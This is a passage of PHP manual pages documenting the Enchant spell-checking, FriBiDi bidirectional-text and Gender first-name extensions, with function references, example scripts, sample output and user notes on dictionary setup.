    • IntlBreakIterator — The IntlBreakIterator class
    • IntlRuleBasedBreakIterator — The IntlRuleBasedBreakIterator class
    • IntlCodePointBreakIterator — The IntlCodePointBreakIterator class
    • IntlPartsIterator — The IntlPartsIterator class
    • UConverter — The UConverter class
    • Grapheme Functions
    • IDN Functions
    • IntlException — Exception class for intl errors
    • IntlIterator — The IntlIterator class
    • intl Functions
  • Multibyte String
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Summaries of supported encodings
    • Basics of Japanese multi-byte encodings
    • HTTP Input and Output
    • Supported Character Encodings
    • Function Overloading Feature
    • PHP Character Encoding Requirements
    • Multibyte String Functions
  • Pspell
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Pspell Functions
  • Recode — GNU Recode
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Recode Functions

User Contributed Notes

There are no user contributed notes for this page.


Enchant spelling library

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Enchant Functions
    • enchant_broker_describe — Enumerates the Enchant providers
    • enchant_broker_dict_exists — Whether a dictionary exists or not. Using non-empty tag
    • enchant_broker_free_dict — Free a dictionary resource
    • enchant_broker_free — Free the broker resource and its dictionnaries
    • enchant_broker_get_error — Returns the last error of the broker
    • enchant_broker_init — create a new broker object capable of requesting
    • enchant_broker_list_dicts — Returns a list of available dictionaries
    • enchant_broker_request_dict — create a new dictionary using a tag
    • enchant_broker_request_pwl_dict — creates a dictionary using a PWL file
    • enchant_broker_set_ordering — Declares a preference of dictionaries to use for the language
    • enchant_dict_add_to_personal — add a word to personal word list
    • enchant_dict_add_to_session — add 'word' to this spell-checking session
    • enchant_dict_check — Check whether a word is correctly spelled or not
    • enchant_dict_describe — Describes an individual dictionary
    • enchant_dict_get_error — Returns the last error of the current spelling-session
    • enchant_dict_is_in_session — whether or not 'word' exists in this spelling-session
    • enchant_dict_quick_check — Check the word is correctly spelled and provide suggestions
    • enchant_dict_store_replacement — Add a correction for a word
    • enchant_dict_suggest — Will return a list of values if any of those pre-conditions are not met

User Contributed Notes

pavel dot bazika at icewarp dot com 17-Jun-2013 09:34
As of PHP 5.4.13 and 5.3.23 it is still possible to override default enchant brokers directory using Windows registry key HKLM/Software/Enchant/Config/Module_Dir or Linux environment variable ENCHANT_CONFIG_DIR.
wschalle at gmail dot com 26-Apr-2013 05:40
As of PHP 5.4.13 and 5.3.23, enchant now requires the broker plugins (libenchant_ispell.dll, libenchant_myspell.dll) to be placed in the <PHP_DIR>/lib/enchant directory. If they are not in that directory, they will silently fail to load, and calls to enchant_broker_describe will return an empty array.


Introduction

Enchant is the PHP binding for the » Enchant library. Enchant steps in to provide uniformity and conformity on top of all spelling libraries, and implement certain features that may be lacking in any individual provider library. Everything should "just work" for any and every definition of "just working."

Enchant supports the following backends:

  • Aspell/Pspell (intends to replace Ispell)

  • Ispell (old as sin, could be interpreted as a defacto standard)

  • MySpell/Hunspell (an OOo projects, also used by Mozilla)

  • Uspell (primarily Yiddish, Hebrew, and Eastern European languages - hosted in AbiWord's CVS under the module "uspell")

  • Hspell (Hebrew)

  • AppleSpell (Mac OSX)

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This version uses the functions of the » Enchant library by Dom Lachowicz. You need Enchant 1.2.4 or later.

Enchant also requires » Glib 2.6 or greater. Pre-compiled Windows libraries are available from » http://ftp.gnome.org/pub/gnome/binaries/win32/glib/.

User Contributed Notes

taubers at gmail dot com 30-Jan-2013 02:46
If you are using macport you may not have this installed. This can be rectified with: sudo port install php5-iconv


Installation

This extension is bundled with PHP as of PHP 5.3.0. Before this time, enchant was a PECL extension. Users of versions prior to 5.3.0 may use the » PECL extension.

Provided the required libraries are installed, users of PHP 5.3.0 or later may enable enchant by adding the --with-enchant[=dir] option when compiling PHP.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

There are two types of resources in this extension. The first one is the broker (backends manager) and the second is for the dictionary.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

This extension has no constants defined.

User Contributed Notes

enyby at yandex dot ru 29-Nov-2013 10:04
Defines constants:
ENCHANT_MYSPELL = 1;
ENCHANT_ISPELL = 2;


Examples

Example #1 Enchant Usage Example

<?php
$tag = 'en_US';
$r = enchant_broker_init();
$bprovides = enchant_broker_describe($r);
echo "Current broker provides the following backend(s):\n";
print_r($bprovides);

$dicts = enchant_broker_list_dicts($r);
print_r($dicts);
if (enchant_broker_dict_exists($r,$tag)) {
    $d = enchant_broker_request_dict($r, $tag);
    $dprovides = enchant_dict_describe($d);
    echo "dictionary $tag provides:\n";
    $wordcorrect = enchant_dict_check($d, "soong");
    print_r($dprovides);
    if (!$wordcorrect) {
        $suggs = enchant_dict_suggest($d, "soong");
        echo "Suggestions for 'soong':";
        print_r($suggs);
    }
    enchant_broker_free_dict($d);
} else {
}
enchant_broker_free($r);
?>

User Contributed Notes

ch1902 16-Aug-2013 06:58
One thing to add to robert.johnson's very helpful post, I found that the dictionary files (*.dic and *.aff) could only contain A-Z and _ characters or they wouldn't be listed in the output of enchant_broker_list_dicts() (at least for PHP 5.4 / Windows).

This was an issue when downloading some of the dictionary files from https://addons.mozilla.org/firefox/language-tools/ where the file names contained hyphens, pt-BR for example. Just replace the hyphen with an underscore in the file name and enchant recognises the language code.
robert dot johnson at icap dot com 15-Aug-2013 01:21
To repeat a note by  wschalle at gmail dot com on page http://www.php.net/manual/en/book.enchant.php

The enchant library does not work unless libenchant_myspell.dll and libenchant_ispell.dll are placed in [PHP]\lib\enchant from PHP 5.4.13.

Dictionaries will still load from [PHP]\share\myspell\dicts.
robert dot johnson at icap dot com 03-Sep-2012 09:49
Here is help for Windows users:

You need to add dictionaries to your computer for Enchant.

1. Enchant looks in your registry keys, I don't know what keys it wants, but it looks here - I ignored all of these:
  * Default User\Software\Enchant\Config
  * Default User\Software\Enchant\Ispell
  * Default User\Software\Enchant\Myspell
2. It looks for OpenOffice dictionaries (from the registry settings for OpenOffice)
3. It looks in folder [PHP]\share\myspell\dicts

I got it working by copying the en-us dictionary files from Firefox into \share\myspell\dicts, and renaming them en_US.*.  You can download and install dictionaries from OpenOffice from here I think: http://extensions.services.openoffice.org/dictionary

Enchant creates and writes to the following folder, so you must allow PHP read and write permissions to: [SYSTEM32]\config\systemprofile\Application Data\enchant

It would be convenient if Enchant could accept parameters to specify the location of the main dictionaries and user-dictionaries, I suppose the registry keys are the only way to do it.


Enchant Functions

Table of Contents

  • enchant_broker_describe — Enumerates the Enchant providers
  • enchant_broker_dict_exists — Whether a dictionary exists or not. Using non-empty tag
  • enchant_broker_free_dict — Free a dictionary resource
  • enchant_broker_free — Free the broker resource and its dictionnaries
  • enchant_broker_get_error — Returns the last error of the broker
  • enchant_broker_init — create a new broker object capable of requesting
  • enchant_broker_list_dicts — Returns a list of available dictionaries
  • enchant_broker_request_dict — create a new dictionary using a tag
  • enchant_broker_request_pwl_dict — creates a dictionary using a PWL file
  • enchant_broker_set_ordering — Declares a preference of dictionaries to use for the language
  • enchant_dict_add_to_personal — add a word to personal word list
  • enchant_dict_add_to_session — add 'word' to this spell-checking session
  • enchant_dict_check — Check whether a word is correctly spelled or not
  • enchant_dict_describe — Describes an individual dictionary
  • enchant_dict_get_error — Returns the last error of the current spelling-session
  • enchant_dict_is_in_session — whether or not 'word' exists in this spelling-session
  • enchant_dict_quick_check — Check the word is correctly spelled and provide suggestions
  • enchant_dict_store_replacement — Add a correction for a word
  • enchant_dict_suggest — Will return a list of values if any of those pre-conditions are not met

User Contributed Notes

There are no user contributed notes for this page.


Enumerates the Enchant providers

  • « Enchant Functions
  • enchant_broker_dict_exists »
  • PHP Manual
  • Enchant Functions
  • Enumerates the Enchant providers

enchant_broker_describe

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0)

enchant_broker_describe — Enumerates the Enchant providers

Description

array enchant_broker_describe ( resource $broker )

Enumerates the Enchant providers and tells you some rudimentary information about them. The same info is provided through phpinfo().

Parameters

broker

Broker resource

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 List the backends provided by the given broker

<?php
$r = enchant_broker_init();
$bprovides = enchant_broker_describe($r);
echo "Current broker provides the following backend(s):\n";
print_r($bprovides);

?>

The above example will output something similar to:

Current broker provides the following backend(s):
Array
(
    [0] => Array
        (
            [name] => aspell
            [desc] => Aspell Provider
            [file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [1] => Array
        (
            [name] => hspell
            [desc] => Hspell Provider
            [file] => /usr/lib/enchant/libenchant_hspell.so
        )

    [2] => Array
        (
            [name] => ispell
            [desc] => Ispell Provider
            [file] => /usr/lib/enchant/libenchant_ispell.so
        )

    [3] => Array
        (
            [name] => myspell
            [desc] => Myspell Provider
            [file] => /usr/lib/enchant/libenchant_myspell.so
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Whether a dictionary exists or not. Using non-empty tag

  • « enchant_broker_describe
  • enchant_broker_free_dict »
  • PHP Manual
  • Enchant Functions
  • Whether a dictionary exists or not. Using non-empty tag

enchant_broker_dict_exists

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_dict_exists — Whether a dictionary exists or not. Using non-empty tag

Description

bool enchant_broker_dict_exists ( resource $broker , string $tag )

Tells if a dictionary exists or not, using a non-empty tags

Parameters

broker

Broker resource

tag

non-empty tag in the LOCALE format, ex: us_US, ch_DE, etc.

Return Values

Returns TRUE when the tag exist or FALSE when not.

Examples

Example #1 A enchant_broker_dict_exists() example

<?php
$tag = 'en_US';
$r = enchant_broker_init();
if (enchant_broker_dict_exists($r,$tag)) {
    echo $tag . " dictionary found.\n";
}
?>

See Also

  • enchant_broker_describe() - Enumerates the Enchant providers

User Contributed Notes

There are no user contributed notes for this page.


Free a dictionary resource

  • « enchant_broker_dict_exists
  • enchant_broker_free »
  • PHP Manual
  • Enchant Functions
  • Free a dictionary resource

enchant_broker_free_dict

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_free_dict — Free a dictionary resource

Description

bool enchant_broker_free_dict ( resource $dict )

Free a dictionary resource.

Parameters

dict

Dictionary resource.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • enchant_broker_request_dict() - create a new dictionary using a tag
  • enchant_broker_request_pwl_dict() - creates a dictionary using a PWL file

User Contributed Notes

There are no user contributed notes for this page.


Free the broker resource and its dictionnaries

  • « enchant_broker_free_dict
  • enchant_broker_get_error »
  • PHP Manual
  • Enchant Functions
  • Free the broker resource and its dictionnaries

enchant_broker_free

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_free — Free the broker resource and its dictionnaries

Description

bool enchant_broker_free ( resource $broker )

Free a broker resource with all its dictionaries.

Parameters

broker

Broker resource

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • enchant_broker_init() - create a new broker object capable of requesting

User Contributed Notes

There are no user contributed notes for this page.


Returns the last error of the broker

  • « enchant_broker_free
  • enchant_broker_init »
  • PHP Manual
  • Enchant Functions
  • Returns the last error of the broker

enchant_broker_get_error

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_get_error — Returns the last error of the broker

Description

string enchant_broker_get_error ( resource $broker )

Returns the last error which occurred in this broker.

Parameters

broker

Broker resource.

Return Values

Return the msg string if an error was found or FALSE

User Contributed Notes

There are no user contributed notes for this page.


create a new broker object capable of requesting

  • « enchant_broker_get_error
  • enchant_broker_list_dicts »
  • PHP Manual
  • Enchant Functions
  • create a new broker object capable of requesting

enchant_broker_init

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_init — create a new broker object capable of requesting

Description

resource enchant_broker_init ( void )

Parameters

Return Values

Returns a broker resource on success or FALSE.

See Also

  • enchant_broker_free() - Free the broker resource and its dictionnaries

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of available dictionaries

  • « enchant_broker_init
  • enchant_broker_request_dict »
  • PHP Manual
  • Enchant Functions
  • Returns a list of available dictionaries

enchant_broker_list_dicts

(PHP 5 >= 5.3.0, PECL enchant >= 1.0.1)

enchant_broker_list_dicts — Returns a list of available dictionaries

Description

mixed enchant_broker_list_dicts ( resource $broker )

Returns a list of available dictionaries with their details.

Parameters

broker

Broker resource

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 List all available dictionaries for one broker

<?php
$r = enchant_broker_init();
$dicts = enchant_broker_list_dicts($r);
print_r($dicts);
?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [lang_tag] => de
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [1] => Array
        (
            [lang_tag] => de_DE
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [3] => Array
        (
            [lang_tag] => en
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [4] => Array
        (
            [lang_tag] => en_GB
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [5] => Array
        (
            [lang_tag] => en_US
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [6] => Array
        (
            [lang_tag] => hi_IN
            [provider_name] => myspell
            [provider_desc] => Myspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_myspell.so
        )

)

See Also

  • enchant_broker_describe() - Enumerates the Enchant providers

User Contributed Notes

There are no user contributed notes for this page.


create a new dictionary using a tag

  • « enchant_broker_list_dicts
  • enchant_broker_request_pwl_dict »
  • PHP Manual
  • Enchant Functions
  • create a new dictionary using a tag

enchant_broker_request_dict

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_request_dict — create a new dictionary using a tag

Description

resource enchant_broker_request_dict ( resource $broker , string $tag )

create a new dictionary using tag, the non-empty language tag you wish to request a dictionary for ("en_US", "de_DE", ...)

Parameters

broker

Broker resource

tag

A tag describing the locale, for example en_US, de_DE

Return Values

Returns a dictionary resource on success or FALSE on failure.

Examples

Example #1 A enchant_broker_request_dict() example

Check if a dictionary exists using enchant_broker_dict_exists() and request it.

<?php
$tag = 'en_US';
$broker = enchant_broker_init();
if (enchant_broker_dict_exists($broker,$tag)) {
    $dict = enchant_broker_request_dict($r, $tag);
}
?>

See Also

  • enchant_dict_describe() - Describes an individual dictionary
  • enchant_broker_dict_exists() - Whether a dictionary exists or not. Using non-empty tag
  • enchant_broker_free_dict() - Free a dictionary resource

User Contributed Notes

There are no user contributed notes for this page.


creates a dictionary using a PWL file

  • « enchant_broker_request_dict
  • enchant_broker_set_ordering »
  • PHP Manual
  • Enchant Functions
  • creates a dictionary using a PWL file

enchant_broker_request_pwl_dict

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_request_pwl_dict — creates a dictionary using a PWL file

Description

resource enchant_broker_request_pwl_dict ( resource $broker , string $filename )

Creates a dictionary using a PWL file. A PWL file is personal word file one word per line.

Parameters

broker

Broker resource

filename

Path to the PWL file.

Return Values

Returns a dictionary resource on success or FALSE on failure.

See Also

  • enchant_dict_describe() - Describes an individual dictionary
  • enchant_broker_dict_exists() - Whether a dictionary exists or not. Using non-empty tag
  • enchant_broker_free_dict() - Free a dictionary resource

User Contributed Notes

There are no user contributed notes for this page.


Declares a preference of dictionaries to use for the language

  • « enchant_broker_request_pwl_dict
  • enchant_dict_add_to_personal »
  • PHP Manual
  • Enchant Functions
  • Declares a preference of dictionaries to use for the language

enchant_broker_set_ordering

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_set_ordering — Declares a preference of dictionaries to use for the language

Description

bool enchant_broker_set_ordering ( resource $broker , string $tag , string $ordering )

Declares a preference of dictionaries to use for the language described/referred to by 'tag'. The ordering is a comma delimited list of provider names. As a special exception, the "*" tag can be used as a language tag to declare a default ordering for any language that does not explicitly declare an ordering.

Parameters

broker

Broker resource

tag

Language tag. The special "*" tag can be used as a language tag to declare a default ordering for any language that does not explicitly declare an ordering.

ordering

Comma delimited list of provider names

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


add a word to personal word list

  • « enchant_broker_set_ordering
  • enchant_dict_add_to_session »
  • PHP Manual
  • Enchant Functions
  • add a word to personal word list

enchant_dict_add_to_personal

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_add_to_personal — add a word to personal word list

Description

void enchant_dict_add_to_personal ( resource $dict , string $word )

Add a word to personal word list of the given dictionary.

Parameters

dict

Dictionary resource

word

The word to add

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • enchant_broker_request_pwl_dict() - creates a dictionary using a PWL file
  • enchant_broker_request_dict() - create a new dictionary using a tag

User Contributed Notes

There are no user contributed notes for this page.


add 'word' to this spell-checking session

  • « enchant_dict_add_to_personal
  • enchant_dict_check »
  • PHP Manual
  • Enchant Functions
  • add 'word' to this spell-checking session

enchant_dict_add_to_session

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_add_to_session — add 'word' to this spell-checking session

Description

void enchant_dict_add_to_session ( resource $dict , string $word )

Add a word to the given dictionary. It will be added only for the active spell-checking session.

Parameters

dict

Dictionary resource

word

The word to add

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • enchant_broker_request_dict() - create a new dictionary using a tag

User Contributed Notes

There are no user contributed notes for this page.


Check whether a word is correctly spelled or not

  • « enchant_dict_add_to_session
  • enchant_dict_describe »
  • PHP Manual
  • Enchant Functions
  • Check whether a word is correctly spelled or not

enchant_dict_check

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_check — Check whether a word is correctly spelled or not

Description

bool enchant_dict_check ( resource $dict , string $word )

If the word is correctly spelled return TRUE, otherwise return FALSE

Parameters

dict

Dictionary resource

word

The word to check

Return Values

Returns TRUE if the word is spelled correctly, FALSE if not.

User Contributed Notes

There are no user contributed notes for this page.


Describes an individual dictionary

  • « enchant_dict_check
  • enchant_dict_get_error »
  • PHP Manual
  • Enchant Functions
  • Describes an individual dictionary

enchant_dict_describe

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_describe — Describes an individual dictionary

Description

mixed enchant_dict_describe ( resource $dict )

Returns the details of the dictionary.

Parameters

dict

Dictionary resource

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A enchant_dict_describe() example

Check if a dictionary exists using enchant_broker_dict_exists() and show the detail of it.

<?php
$tag = 'en_US';
$broker = enchant_broker_init();
if (enchant_broker_dict_exists($broker,$tag)) {
    $dict = enchant_broker_request_dict($r, $tag);
    $dict_details = enchant_dict_describe($dict);
    print_r($dict_details);
}
?>

The above example will output something similar to:

Array
(
    [lang] => en_US
    [name] => aspell
    [desc] => Aspell Provider
    [file] => /usr/lib/enchant/libenchant_aspell.so
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the last error of the current spelling-session

  • « enchant_dict_describe
  • enchant_dict_is_in_session »
  • PHP Manual
  • Enchant Functions
  • Returns the last error of the current spelling-session

enchant_dict_get_error

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_get_error — Returns the last error of the current spelling-session

Description

string enchant_dict_get_error ( resource $dict )

Returns the last error of the current spelling-session

Parameters

dict

Dictinaray resource

Return Values

Returns the error message as string or FALSE if no error occurred.

User Contributed Notes

There are no user contributed notes for this page.


whether or not 'word' exists in this spelling-session

  • « enchant_dict_get_error
  • enchant_dict_quick_check »
  • PHP Manual
  • Enchant Functions
  • whether or not 'word' exists in this spelling-session

enchant_dict_is_in_session

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_is_in_session — whether or not 'word' exists in this spelling-session

Description

bool enchant_dict_is_in_session ( resource $dict , string $word )

Tells whether or not a word already exists in the current session.

Parameters

dict

Dictionary resource

word

The word to lookup

Return Values

Returns TRUE if the word exists or FALSE

See Also

  • enchant_dict_add_to_session() - add 'word' to this spell-checking session

User Contributed Notes

There are no user contributed notes for this page.


Check the word is correctly spelled and provide suggestions

  • « enchant_dict_is_in_session
  • enchant_dict_store_replacement »
  • PHP Manual
  • Enchant Functions
  • Check the word is correctly spelled and provide suggestions

enchant_dict_quick_check

(PHP 5 >= 5.3.0, PECL enchant:0.2.0-1.0.1)

enchant_dict_quick_check — Check the word is correctly spelled and provide suggestions

Description

bool enchant_dict_quick_check ( resource $dict , string $word [, array &$suggestions ] )

If the word is correctly spelled return TRUE, otherwise return FALSE, if suggestions variable is provided, fill it with spelling alternatives.

Parameters

dict

Dictionary resource

word

The word to check

suggestions

If the word is not correctly spelled, this variable will contain an array of suggestions.

Return Values

Returns TRUE if the word is correctly spelled or FALSE

Examples

Example #1 A enchant_dict_quick_check() example

<?php
$tag = 'en_US';
$r = enchant_broker_init();

if (enchant_broker_dict_exists($r,$tag)) {
    $d = enchant_broker_request_dict($r, $tag);
    enchant_dict_quick_check($d, 'soong', $suggs);
    print_r($suggs);
}
?>

The above example will output something similar to:

Array
(
    [0] => song
    [1] => snog
    [2] => soon
    [3] => Sang
    [4] => Sung
    [5] => sang
    [6] => sung
    [7] => sponge
    [8] => spongy
    [9] => snag
    [10] => snug
    [11] => sonic
    [12] => sing
    [13] => songs
    [14] => Son
    [15] => Sonja
    [16] => Synge
    [17] => son
    [18] => Sejong
    [19] => sarong
    [20] => sooner
    [21] => Sony
    [22] => sown
    [23] => scone
    [24] => song's
)

See Also

  • enchant_dict_check() - Check whether a word is correctly spelled or not
  • enchant_dict_suggest() - Will return a list of values if any of those pre-conditions are not met

User Contributed Notes

There are no user contributed notes for this page.


Add a correction for a word

  • « enchant_dict_quick_check
  • enchant_dict_suggest »
  • PHP Manual
  • Enchant Functions
  • Add a correction for a word

enchant_dict_store_replacement

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_store_replacement — Add a correction for a word

Description

void enchant_dict_store_replacement ( resource $dict , string $mis , string $cor )

Add a correction for 'mis' using 'cor'. Notes that you replaced @mis with @cor, so it's possibly more likely that future occurrences of @mis will be replaced with @cor. So it might bump @cor up in the suggestion list.

Parameters

dict

Dictionary resource

mis

The work to fix

cor

The correct word

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Will return a list of values if any of those pre-conditions are not met

  • « enchant_dict_store_replacement
  • FriBiDi »
  • PHP Manual
  • Enchant Functions
  • Will return a list of values if any of those pre-conditions are not met

enchant_dict_suggest

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_suggest — Will return a list of values if any of those pre-conditions are not met

Description

array enchant_dict_suggest ( resource $dict , string $word )

Parameters

dict

Dictionary resource

word

Word to use for the suggestions.

Return Values

Will returns an array of suggestions if the word is bad spelled.

Examples

Example #1 A enchant_dict_suggest() example

<?php
$tag = 'en_US';
$r = enchant_broker_init();
if (enchant_broker_dict_exists($r,$tag)) {
    $d = enchant_broker_request_dict($r, $tag);

    $wordcorrect = enchant_dict_check($d, "soong");
    if (!$wordcorrect) {
        $suggs = enchant_dict_suggest($d, "soong");
        echo "Suggestions for 'soong':";
        print_r($suggs);
    }
    enchant_broker_free_dict($d);
}
enchant_broker_free($r);
?>

See Also

  • enchant_dict_check() - Check whether a word is correctly spelled or not
  • enchant_dict_quick_check() - Check the word is correctly spelled and provide suggestions

User Contributed Notes

There are no user contributed notes for this page.


FriBiDi

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • FriBiDi Functions
    • fribidi_log2vis — Convert a logical string to a visual one

User Contributed Notes

There are no user contributed notes for this page.


Introduction

FriBiDi is a free implementation of the » Unicode Bidirectional Algorithm.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You must download and install the » FriBiDi package.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/fribidi.

In order to use these functions you must compile PHP with Fribidi support by using the --with-fribidi[=DIR] configure option.

Windows users will enable php_fribidi.dll inside of php.ini in order to use these functions. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FRIBIDI_CHARSET_UTF8 (integer)
Unicode
FRIBIDI_CHARSET_8859_6 (integer)
Arabic
FRIBIDI_CHARSET_8859_8 (integer)
Hebrew
FRIBIDI_CHARSET_CP1255 (integer)
Hebrew/Yiddish
FRIBIDI_CHARSET_CP1256 (integer)
Arabic
FRIBIDI_CHARSET_ISIRI_3342 (integer)
Persian
FRIBIDI_CHARSET_CAP_RTL (integer)
Used for test purposes, will treat CAPS as non-English letters
FRIBIDI_RTL (integer)
Right to left
FRIBIDI_LTR (integer)
Left to right
FRIBIDI_AUTO (integer)
Autodetect the base direction

User Contributed Notes

There are no user contributed notes for this page.


FriBiDi Functions

Table of Contents

  • fribidi_log2vis — Convert a logical string to a visual one

User Contributed Notes

webKami [at] akdomains.com 01-Apr-2005 09:58
To kill the curosity right here....

"Bidirectional" here means the merging of langauages that read from Left to Right (English, French, Spanish etc) with some Native languages that are read from Right to Left, (Arabic, Farsi, Urdu etc).

Problem arises where L2R sub-strings are inserted in R2L string or vice versa.

Like an arabic sub-string in an enlish text. Suppose the lower case is english and upper case in urdu, a bidirectional string may look like.

i drive my CAR daily

but it should not look like this, as CAR should be from L2R in display and in selection.

i drive my RAC daily

--
If you have read this far I am sure this is the topic you are looking for.
Continue your reading here http://fribidi.sourceforge.net/


Convert a logical string to a visual one

  • « FriBiDi Functions
  • Gender »
  • PHP Manual
  • FriBiDi Functions
  • Convert a logical string to a visual one

fribidi_log2vis

(PHP 4 >= 4.0.4 and PHP 4 <= 4.1.0, PECL fribidi >= 1.0)

fribidi_log2vis — Convert a logical string to a visual one

Description

string fribidi_log2vis ( string $str , string $direction , int $charset )

Converts a logical string to a visual one.

Parameters

str

The logical string.

direction

One of FRIBIDI_RTL, FRIBIDI_LTR or FRIBIDI_AUTO.

charset

One of the FRIBIDI_CHARSET_XXX constants.

Return Values

Returns the visual string on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Determine gender of firstnames

  • Introduction
  • Installing/Configuring
    • Installation
  • Examples
    • Usage example.
  • Gender\Gender — The Gender\Gender class
    • Gender\Gender::connect — Connect to an external name dictionary.
    • Gender\Gender::__construct — Construct the Gender object.
    • Gender\Gender::country — Get textual country representation
    • Gender\Gender::get — Get gender of a name.
    • Gender\Gender::isNick — Check if the name0 is an alias of the name1.
    • Gender\Gender::similarNames — Get similar names.

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Gender PHP extension is a port of the gender.c program originally written by Joerg Michael. The main purpose is to find out the gender of firstnames. The current database contains >40000 firstnames from 54 countries.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/gender.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/gender/.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Usage example.

User Contributed Notes

There are no user contributed notes for this page.


Usage example.

Gender class usage example.

Example #1 Usage example.

<?php

namespace Gender;

$gender = new Gender;

$name = "Milene";
$country = Gender::FRANCE;

$result = $gender->get($name, $country);

$data = $gender->country($country);

switch($result) {
    case Gender::IS_FEMALE:
        printf("The name %s is female in %s\n", $name, $data['country']);
    break;

    case Gender::IS_MOSTLY_FEMALE:
        printf("The name %s is mostly female in %s\n", $name, $data['country']);
    break;

    case Gender::IS_MALE:
        printf("The name %s is male in %s\n", $name, $data['country']);
    break;

    case Gender::IS_MOSTLY_MALE:
        printf("The name %s is mostly male in %s\n", $name, $data['country']);
    break;

    case Gender::IS_UNISEX_NAME:
        printf("The name %s is unisex in %s\n", $name, $data['country']);
    break;

    case Gender::IS_A_COUPLE:
        printf("The name %s is both male and female in %s\n", $name, $data['country']);
    break;

    case Gender::NAME_NOT_FOUND:
        printf("The name %s was not found for %s\n", $name, $data['country']);
    break;

    case Gender::ERROR_IN_NAME:
        echo "There is an error in the given name!\n";
    break;

    default:
        echo "An error occurred!\n";
    break;

}

User Contributed Notes

There are no user contributed notes for this page.


The Gender\Gender class

(PECL gender >= 0.6.0)

Introduction

Class synopsis

Gender\Gender {
/* Constants */
const integer IS_FEMALE = 70 ;
const integer IS_MOSTLY_FEMALE = 102 ;
const integer IS_MALE = 77 ;
const integer IS_MOSTLY_MALE = 109 ;
const integer IS_UNISEX_NAME = 63 ;
const integer IS_A_COUPLE = 67 ;
const integer NAME_NOT_FOUND = 32 ;
const integer ERROR_IN_NAME = 69 ;
const integer ANY_COUNTRY = 0 ;
const integer BRITAIN = 1 ;
const integer IRELAND = 2 ;
const integer USA = 3 ;
const integer SPAIN = 4 ;
const integer PORTUGAL = 5 ;
const integer ITALY = 6 ;
const integer MALTA = 7 ;
const integer FRANCE = 8 ;
const integer BELGIUM = 9 ;
const integer LUXEMBOURG = 10 ;
const integer NETHERLANDS = 11 ;
const integer GERMANY = 12 ;
const integer EAST_FRISIA = 13 ;
const integer AUSTRIA = 14 ;
const integer SWISS = 15 ;
const integer ICELAND = 16 ;
const integer DENMARK = 17 ;
